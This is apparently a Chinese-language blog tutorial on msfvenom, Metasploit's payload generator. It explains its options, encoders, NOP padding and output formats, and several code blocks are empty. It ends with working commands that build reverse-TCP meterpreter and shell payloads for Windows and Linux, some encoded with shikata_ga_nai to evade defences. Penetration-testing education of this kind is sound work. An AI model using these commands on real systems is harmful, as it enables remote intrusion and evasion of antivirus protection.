MSF 之 msfvenom 学习指北
什么是 msfvenom?
msfvenom
是 Metasploit 框架中的一个强大工具,用于生成和编码恶意代码(payload),并支持多种输出格式。
基本命令格式
1 |
|
p
:指定要使用的 payload。[options]
:包括设置 payload 参数、编码器、NOPS 等。f
:指定输出格式,如exe
、elf
、raw
等。o
:指定输出文件。
常用参数及其作用
1. Payload 参数
p <payload>
:指定要使用的 payload 类型,例如windows/meterpreter/reverse_tcp
。
1 |
|
2. Payload 选项
LHOST=<IP>
:指定监听主机(即攻击者的 IP 地址)。LPORT=<PORT>
:指定监听端口。EXITFUNC=<function>
:指定 payload 退出时调用的函数(如thread
,process
,seh
)。
3. 编码器
e <encoder>
:指定使用的编码器,例如x86/shikata_ga_nai
。编码器用于绕过防护措施。
1 |
|
i <iterations>
:指定编码次数,默认是 1 次,多次编码可能有助于绕过一些防护机制。
1 |
|
4. NOPS(No-Operation)
NOPS 是 “No Operation” 的缩写,代表的是一种在计算机处理器中执行时不会产生任何有用操作的指令。通常,它是一个单字节指令,特别是在 x86 架构中,NOP
指令的机器码是 0x90
。
n <nops>
:插入指定数量的 NOP 指令,用于填充空间或绕过检测机制。
1 |
|
上述命令会在生成的 payload 中插入 16 个 NOPS 指令。这些 NOPS 可能用于保护关键的 shellcode 部分,或增加代码的执行路径长度以避开简单的防护机制。
5. 输出格式
f <format>
:指定输出格式,可以是exe
、elf
、raw
、python
、c
、ruby
、powershell
等。
1 |
|
- 常见格式包括:
- raw: 原始二进制格式,无任何额外的包装或编码,最常用于直接嵌入到目标程序或存储为 bin 文件。
- c: C 语言的数组格式,适用于将 shellcode 嵌入到 C 语言的程序中。
- java: Java 格式,适用于将 shellcode 嵌入到 Java 代码中。
- python: Python 语言的字符串格式,适用于将 shellcode 嵌入到 Python 脚本中。
- ruby: Ruby 语言的字符串格式,适用于将 shellcode 嵌入到 Ruby 脚本中。
- js_be: JavaScript 字节码大端格式,适用于将 shellcode 嵌入到 JavaScript 脚本中。
- js_le: JavaScript 字节码小端格式。
- perl: Perl 语言的字符串格式,适用于将 shellcode 嵌入到 Perl 脚本中。
- bash: Bash 脚本格式,将 shellcode 作为 bash 脚本中的一部分。
- sh: 类似于 bash,适用于 Shell 脚本。
- hex: 十六进制字符串格式,适合嵌入到需要十六进制表示的环境中。
- asp: ASP (Active Server Pages) 格式,适用于将 shellcode 嵌入到 ASP 页面中。
- aspx: ASP.NET (C#) 格式,适用于将 shellcode 嵌入到 ASPX 页面中。
- dll: 生成一个动态链接库 (DLL) 文件,常用于 Windows 平台的攻击。
- exe: 生成一个可执行文件 (EXE) 文件,适用于 Windows 平台。
- elf: 生成一个 ELF 格式的可执行文件,适用于 Linux 平台。
- macho: 生成一个 Mach-O 格式的可执行文件,适用于 macOS 平台。
- psh: PowerShell 脚本格式,适用于将 shellcode 嵌入到 PowerShell 脚本中。
- vba: VBA (Visual Basic for Applications) 格式,适用于将 shellcode 嵌入到 Office 宏中。
- vbs: VBScript 格式,适用于将 shellcode 嵌入到 VBScript 中。
6. 生成文件
o <file>
:指定生成的文件名和路径。
1 |
|
7. 其它选项
a <architecture>
:指定架构(如x86
、x64
)。-platform <platform>
:指定平台(如windows
、linux
、osx
)。b <badchars>
:指定要避免的字符,例如\x00
。l
:列出可用的 payload、编码器、NOPS、平台等。例如,msfvenom -l payloads
可以列出所有可用的 payload。
8. 查看帮助
h
或-help
:显示帮助信息和所有可用参数。
使用示例
生成一个带有反向 TCP 连接的 Windows 可执行文件:
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe
生成一个 Python 格式的 shellcode:
1
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f python
生成并编码一个 Windows payload:
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o encoded_payload.exe
生成一个适用于 Linux 的 ELF 可执行文件:
1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o shell.elf
MSF 之 msfvenom 学习指北
https://blog.tddt.cc/posts/7.Msfvenom-Learning.html